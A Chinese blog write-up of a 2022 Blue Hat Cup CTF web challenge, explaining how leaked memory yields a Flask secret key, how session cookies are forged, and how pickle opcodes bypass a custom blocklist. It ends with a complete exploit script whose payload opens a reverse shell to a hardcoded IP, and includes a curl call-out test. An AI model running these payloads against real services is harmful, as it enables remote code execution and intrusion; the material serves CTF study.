• 【2022蓝帽杯】file_session && 浅入opcode


    0x00 前言

    每次蓝帽的web总能让人坐牢
    事情太多(人也菜) 断断续续磨了很长一段时间的东西

    0x01 brain.md

    读一下源码

    /download?file=/proc/self/cwd/app.py

    显然我们需要通过伪造session 触发pickle反序列化来rce

    
    import base64
    import os
    import uuid
    
    from flask import Flask, request, session, render_template
    
    from pickle import _loads
    
    SECRET_KEY = str(uuid.uuid4())
    
    app = Flask(__name__)
    app.config.update(dict(
        SECRET_KEY=SECRET_KEY,
    ))
    
    
    # apt install python3.8
    
    @app.route('/', methods=['GET'])
    def index():
        return "/download?file=?"
    
    
    @app.route('/download', methods=["GET", 'POST'])
    def download():
        print(SECRET_KEY)
        filename = request.args.get('file', "static/image/1.jpg")
        offset = request.args.get('offset', "0")
        length = request.args.get('length', "0")
        if offset == "0" and length == "0":
            return open(filename, "rb").read()
        else:
            offset, length = int(offset), int(length)
            f = open(filename, "rb")
            f.seek(offset)
            ret_data = f.read(length)
            return ret_data
    
    
    @app.route('/filelist', methods=["GET"])
    def filelist():
        return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"
    
    
    @app.route('/admin_pickle_load', methods=["GET"])
    def admin_pickle_load():
        if session.get('data'):
            data = _loads(base64.b64decode(session['data']))
            return data
        session["data"] = base64.b64encode(b"error")
        return 'admin pickle'
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=8888)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    /proc/self/maps读取maps上内存地址
    在这里插入图片描述

    
    >>> int(0x7f650b674000)
    140071959740416
    >>> int(0x7f650c274000)
    140071972323328
    >>> 140071972323328-140071959740416
    12582912
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    问就是知道python对象存储在堆上(写脚本批量读取也可)

    /download?file=/proc/self/mem&offset=140071959740416&length=12582912

    导包正则过一下
    uuid -> secret_key
    6f41f81b-86da-4d13-a720-d06c404f764c
    在这里插入图片描述

    flask session机制

    参考文章
    [HCTF2018]两道题了解flask的session机制
    引用自师傅文章
    flask session加密流程

    json.dumps 将对象转换为json字符串。作为数据
    若数据压缩后长度更短。则用zlib进行压缩
    将数据Base64编码
    通过hmac算法计算数据签名。将签名附在数据后。用点分割

    格式类似于这种
    eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY
    由三部分组成
    eyJ1c2VybmFtZSI6InRlc3QifQ
    Base64加密的数据
    XC7SPg
    时间戳
    sV9_ueBW2e4kCoY0sxh14dxsQiY
    数据签名。重点在于这个。通过密钥进行签名。防止被篡改

    之前没有看时间戳的习惯
    看官方wp学习一下
    在这里插入图片描述
    贴一下官方wp手写的签名脚本
    记得之前都是用git上脚本伪造 完全不知所以然

    import hmac
    import base64
    
    
    def sign_flask(data, key, times):
        digest_method = 'sha1'
    
        def base64_decode(string):
            string = string.encode('utf8')
            string += b"=" * (-len(string) % 4)
            try:
                return base64.urlsafe_b64decode(string)
            except (TypeError, ValueError):
                raise print("Invalid base64-encoded data")
    
        def base64_encode(s):
            return base64.b64encode(s).replace(b'=', b'')
    
        salt = b'cookie-session'
        mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
        mac.update(salt)
        key = mac.digest()
    
        msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
        data = hmac.new(key, msg=msg, digestmod=digest_method)
        hs = data.digest()
        # print(hs)
        # print(msg+b'.'+ base64_encode(hs))
        # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
        return msg + b'.' + base64_encode(hs)
    
    base64_data = base64.b64encode(b'test')
    print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    关于上述脚本中的salt digest_method等在源码中都有考证
    感兴趣的师傅可以继续往下挖接口 我是懒狗
    在这里插入图片描述
    替换cookie session值后再访问admin_pickle_load直接返回500并且值不变
    表示签名通过了校验,服务端取得了data值,进入_loads反序列化阶段报错
    下面就是opcode了

    python pickle

    比较好的扫盲(复习)文章
    从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
    pickle.dumps指定协议版本
    在这里插入图片描述

    在这里插入图片描述
    可以看到0版本看起来比较友好
    在这里插入图片描述
    opcode详解

    https://xz.aliyun.com/t/7012

    将最友好的opcode拖出来看一下

    b'cnt  
    system  	# 导入system push到栈顶
    p0 			# 栈顶元素(system)放入memo
    (Vwhoami 	# 栈顶push mark + unicode string -> whoami
    p			# 栈顶元素放入memo
    1tp2        # 
    Rp3
    .'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    题目环境作者自写了pickle _loads
    在这里插入图片描述
    禁用了i R o b
    在这里插入图片描述
    load_reduce
    在这里插入图片描述
    通过字典建立opcode到函数之间的映射关系
    在这里插入图片描述
    先下个断点调试一下 这里先把waf注释掉方便理解
    过到最后一步R开始单点
    在这里插入图片描述
    可以看到先从栈上pop出参数 args
    然后指定栈最后一位为函数名 func
    执行func(*args)将返回值放在栈上最后一位

    >>> a=["system","whoami"]
    >>> args=a.pop()
    >>> func=a[-1]
    >>> args
    'whoami'
    >>> func
    'system'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    再回去看官方wp 他利用的是opcode b’\x81’

    在这里插入图片描述
    和刚才的load_reduce同理
    先从栈上pop出参数args
    再从栈上pop出类名cls
    –>然后调用cls类的__new__方法 参数为args
    此时我们只需要找到一个类的__new__方法 是我们可以利用的即可

    cpython

    https://github.com/animalize/cpython

    关于map的浅入

    官方采用了map方法
    map方法之前确实没常用过
    一开始还不信 居然要迭代操作才能触发mapobject中的func
    在这里插入图片描述
    参考这篇

    https://blog.csdn.net/Flag_ing/article/details/109139315

    map函数本身是惰性计算的,因此返回的结果并不是真实结果,而是一个需要被显示迭代的迭代器,可用隐式遍历的方法来强制遍历map作用的序列,从而得出输出结果。直白点说,可以吧map作用后的结果转换为list等类型进行输出。

    文章里采用list做隐式遍历
    在这里插入图片描述

    localtest

    发现确实只有加上list之后 nc才接受到了请求

    >>> map(eval,["__import__('os').system('curl 1.15.67.48:7777')"])
    <map object at 0x7fbe946a3490>
    >>> list(map(eval,["__import__('os').system('curl 1.15.67.48:7777')"]))
    curl: (52) Empty reply from server
    [13312]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    粗糙地翻一下源码

    在map类中的 __iter__方法为 Implement iter(self).
    在这里插入图片描述
    在cpython里过一下
    在这里插入图片描述

    static PyObject *
    slot_tp_iter(PyObject *self)
    {
        int unbound;
        PyObject *func, *res;
        _Py_IDENTIFIER(__iter__);
    
        func = lookup_maybe_method(self, &PyId___iter__, &unbound);
        if (func == Py_None) {
            Py_DECREF(func);
            PyErr_Format(PyExc_TypeError,
                         "'%.200s' object is not iterable",
                         Py_TYPE(self)->tp_name);
            return NULL;
        }
    
        if (func != NULL) {
            res = call_unbound_noarg(unbound, func, self);
            Py_DECREF(func);
            return res;
        }
    
        PyErr_Clear();
        func = lookup_maybe_method(self, &PyId___getitem__, &unbound);
        if (func == NULL) {
            PyErr_Format(PyExc_TypeError,
                         "'%.200s' object is not iterable",
                         Py_TYPE(self)->tp_name);
            return NULL;
        }
        Py_DECREF(func);
        return PySeqIter_New(self);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    因为没有研究过cpython 不敢随便解读源码
    看网上的资料也比较少(maybe是我不会找)
    翻到一个类似的 --> 可以说明 call_unbound_noarg这一步回完成函数执行
    在这里插入图片描述

    https://posts.careerengine.us/p/60a03be38264e819d87393d6?nav=post_&p=60a0381a954c620ac9855d21

    这一篇可能稍详尽些
    在这里插入图片描述

    浅入动调_loads 看看opcode运作方式

    官方wp用的opcode

    b= b'''c__builtin__  
    map   		# 导入 __builtin__.map并push至栈顶
    p0 		# 将栈顶元素放入memo
    0(]S'print(1111)'   # 丢弃栈顶第一个元素(class map) 栈顶push一个mark  stack上push一个空list stack上push一个string 'print(1111)'
    ap1  		# 弹出栈顶对象字符串 将现有栈顶对象空列表append弹出的字符串 将栈顶对象对应memo键1的值
    0](c__builtin__      # 丢弃栈顶元素 push一个空list 向栈顶push一个mark
    exec  		# 导入 __builtin__.exec并push至栈顶
    g1   		# 从memo获取键1对应的值(字符串 print(1111)) 并push至栈顶
    ep2  		# self.metastack pop出一个对象 该对象extend self.stack后替换现有的self.stack
    0g0
    g2
    \x81p3		#实例化新对象 map
    0c__builtin__
    bytes
    p4
    g3
    \x81
    .'''
    
    b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    只挑了一些我会疑惑的拉了出来
    读到p0
    将栈顶元素放入 memo键0对应的值
    在这里插入图片描述
    读到0 丢弃栈顶第一个元素 class map
    在这里插入图片描述
    ]是往stack上push一个空list
    在这里插入图片描述
    S’print(1111)’ 往stack上push一个字符串 print(1111)
    注意看self.stack
    在这里插入图片描述
    a
    简述一下这一步,刚刚self.stack上存在两个元素
    0: [] 空列表
    1: “print(1111)” 字符串
    load_append先弹出栈顶元素 字符串
    再把字符串append到现有的栈顶元素(空列表中)
    实现列表中append单个对象
    在这里插入图片描述
    g1 获取memo字典 键1的值 “print(1111)” 并push到栈顶
    在这里插入图片描述
    e
    将self.stack保存在items变量中 弹出self.metastack的一个对象(空列表)替换现有self.stack
    self.stack中extend一个序列(items 之前的self.stack)
    在这里插入图片描述

    def pop_mark(self):
            items = self.stack
            self.stack = self.metastack.pop()
            self.append = self.stack.append
            return items
    
    • 1
    • 2
    • 3
    • 4
    • 5

    \x81
    此时stack栈上一个class map
    一个序列 (,[‘print(1111)’])
    依次取出作为参数args和类cls

    在这里插入图片描述
    obj实例化出来
    在这里插入图片描述
    其他的都是依葫芦画瓢 不做冗余描述了
    懒狗贴个exp以备不时之需

    import requests
    import hmac
    import base64
    
    
    def sign_flask(data, key, times):
        digest_method = 'sha1'
    
        def base64_decode(string):
            string = string.encode('utf8')
            string += b"=" * (-len(string) % 4)
            try:
                return base64.urlsafe_b64decode(string)
            except (TypeError, ValueError):
                raise print("Invalid base64-encoded data")
    
        def base64_encode(s):
            return base64.b64encode(s).replace(b'=', b'')
    
        salt = b'cookie-session'
        mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
        mac.update(salt)
        key = mac.digest()
    
        msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
        data = hmac.new(key, msg=msg, digestmod=digest_method)
        hs = data.digest()
        # print(hs)
        # print(msg+b'.'+ base64_encode(hs))
        # print(int.from_bytes(times.to_bytes(8,'big'),'big'))
        return msg + b'.' + base64_encode(hs)
    
    
    def Cmd(url):
        code = b'''c__builtin__
    map
    p0
    0(]S'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.244.133",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    ap1
    0](c__builtin__
    exec
    g1
    ep2
    0g0
    g2
    \x81p3
    0c__builtin__
    bytes
    p4
    g3
    \x81
    .'''
    
        # /usr/lib/python3.8/pickle.py
        tmp_payload = base64.b64encode(base64.b64encode(code)).decode()
        payload = sign_flask('{"data":{" b":"' + tmp_payload + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360)
        cookies = {"session": payload.decode()}
        print(payload)
        sess = requests.session()
        print(sess.get(url + '/admin_pickle_load', cookies=cookies).text)
    
    
    url = "http://192.168.244.133:7410/"
    Cmd(url)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64

    参考文章

    https://xz.aliyun.com/t/7012

    0x02 rethink

    谢谢队里大哥的耐心讲解 磕一个先
    协调好手里的事情 争取早日复现完

  • 相关阅读:
    Mybatis-Plus强大的条件构造器queryWrapper、updateWrapper
    前端面试:原型和原型链
    linux Shell 命令行-06-flow control 流程控制
    利用Vite或者webpack创建(打包)Vue项目,并启动Vue项目
    解题-->在线OJ(十八)
    kubeedge v1.17.0部署教程
    三端sonar记录
    Zabbix监控系统 第一部分:zabbix服务部署+自定义监控项+自动发现与自动注册(附详细部署实例)
    软件测试之报表测试
    macOS下编译opencv-4.5.2+opencv_contrib-framework
  • 原文地址:https://blog.csdn.net/weixin_45751765/article/details/125874045